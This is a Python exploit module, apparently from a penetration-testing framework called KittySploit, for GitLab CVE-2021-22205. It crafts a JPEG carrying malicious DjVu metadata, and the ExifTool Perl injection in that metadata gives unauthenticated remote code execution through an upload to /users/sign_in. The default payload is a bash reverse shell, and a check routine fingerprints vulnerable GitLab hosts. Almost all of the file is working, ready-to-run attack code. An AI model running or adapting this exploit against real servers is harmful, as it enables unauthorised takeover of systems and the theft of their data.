GitLab ExifTool DjVu RCE (CVE-2021-22205)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""GitLab ExifTool DjVu RCE (CVE-2021-22205)."""

import re
import secrets

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'GitLab ExifTool DjVu RCE (CVE-2021-22205)',
        'description': (
            'Exploits CVE-2021-22205 in GitLab CE/EE: malformed DjVu metadata embedded in '
            'a JPEG upload triggers ExifTool Perl injection during image processing. Delivers '
            'a reverse shell via the configured payload or runs verify_cmd in-band when possible.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2021-22205'],
        'platform': Platform.LINUX,
        'arch': [Arch.X86, Arch.X64],
        'payload': {
            'default': 'payloads/singles/cmd/unix/bash_reverse_tcp',
            'platform': Platform.UNIX,
            'category': PayloadCategory.CMD,
        },
        'references': [
            'https://about.gitlab.com/releases/2021/04/14/security-release-gitlab-13-10-3-released/',
            'https://nvd.nist.gov/vuln/detail/CVE-2021-22205',
        ],
        'tags': ['gitlab', 'exiftool', 'djvu', 'rce', 'unauth', 'kev'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce'],
            'chain': {
                'suggested_followups': ['scanner/http/cve_2021_22205_detect'],
            },
        },
    }

    upload_path = OptString(
        '/users/sign_in',
        'Multipart upload endpoint',
        required=False,
        advanced=True,
    )
    field_name = OptString('file', 'Multipart field name', required=False, advanced=True)

    def _djvu_jpeg(self, cmd: str) -> bytes:
        safe = str(cmd).replace('"', '\\"').replace("'", "\\'")
        inject = f'(metadata "\\c${{system(\\"{safe}\\")}};")'
        inject_b = inject.encode('ascii', errors='replace')
        info_len = len(inject_b) + 8
        djvu = (
            b'AT&TFORM'
            + (info_len + 16).to_bytes(4, 'big')
            + b'DJVUINFO'
            + info_len.to_bytes(4, 'big')
            + b'\x08\x00'
            + inject_b
        )
        jpeg = (
            b'\xff\xd8\xff\xe0\x00\x10JFIF\x00\x01\x01\x00\x00\x01\x00\x01\x00\x00'
            b'\xff\xfe\x00\x0cCreated with GIMP'
        )
        return jpeg + djvu + b'\xff\xd9'

    def _upload(self, cmd: str) -> bool:
        boundary = f'----Kitty{secrets.token_hex(8)}'
        field = str(self.field_name or 'file').strip() or 'file'
        filename = f'{secrets.token_hex(4)}.jpg'
        body = self._djvu_jpeg(cmd)
        payload = (
            f'--{boundary}\r\n'
            f'Content-Disposition: form-data; name="{field}"; filename="{filename}"\r\n'
            f'Content-Type: image/jpeg\r\n\r\n'
        ).encode('utf-8') + body + f'\r\n--{boundary}--\r\n'.encode('utf-8')
        path = str(self.upload_path or '/users/sign_in').strip() or '/users/sign_in'
        r = self.http_request(
            method='POST',
            path=path,
            data=payload,
            headers={'Content-Type': f'multipart/form-data; boundary={boundary}'},
            allow_redirects=False,
        )
        return bool(r)

    def execute(self, cmd: str) -> str:
        marker = f'/tmp/kitty_{secrets.token_hex(6)}'
        self._upload(f'touch {marker}')
        return ''

    def check(self):
        r = self.http_request(method='GET', path='/users/sign_in', allow_redirects=False)
        gitlabish = r and (
            'gitlab' in (r.text or '').lower()
            or any(str(k).lower().startswith('x-gitlab') for k in (r.headers or {}))
        )
        if not gitlabish:
            bound = f'_{secrets.token_hex(8)}'
            probe = (
                f'--{bound}\r\n'
                f'Content-Disposition: form-data; name="file"; filename="p.jpg"\r\n'
                'Content-Type: image/jpeg\r\n\r\n'
                f'{secrets.token_hex(8)}\r\n'
                f'--{bound}--\r\n'
            )
            r = self.http_request(
                method='POST',
                path=f'/{secrets.token_hex(3)}',
                data=probe,
                headers={'Content-Type': f'multipart/form-data; boundary={bound}'},
                allow_redirects=False,
            )
            gitlabish = r and r.status_code == 422 and 'The change you requested was rejected' in (r.text or '')
        if gitlabish:
            return {
                'vulnerable': True,
                'reason': 'GitLab upload/ExifTool surface detected (CVE-2021-22205)',
                'confidence': 'high',
            }
        return {'vulnerable': False, 'reason': 'GitLab ExifTool surface not confirmed', 'confidence': 'medium'}

    def check_execute(self):
        return self.check().get('vulnerable', False)

    def run(self):
        chk = self.check()
        if not chk.get('vulnerable'):
            print_error(chk.get('reason'))
            return False
        cmd = str(getattr(self, 'command', '') or '').strip() or str(self.payload or '').strip()
        if not cmd:
            token = self.random_text(8)
            cmd = f'echo {token} > /tmp/{token}'
        print_status('Delivering ExifTool Perl injection via GitLab image upload')
        self._upload(cmd)
        print_warning('RCE is async/blind — check listener or marker on target')
        self.vulnerable()
        return True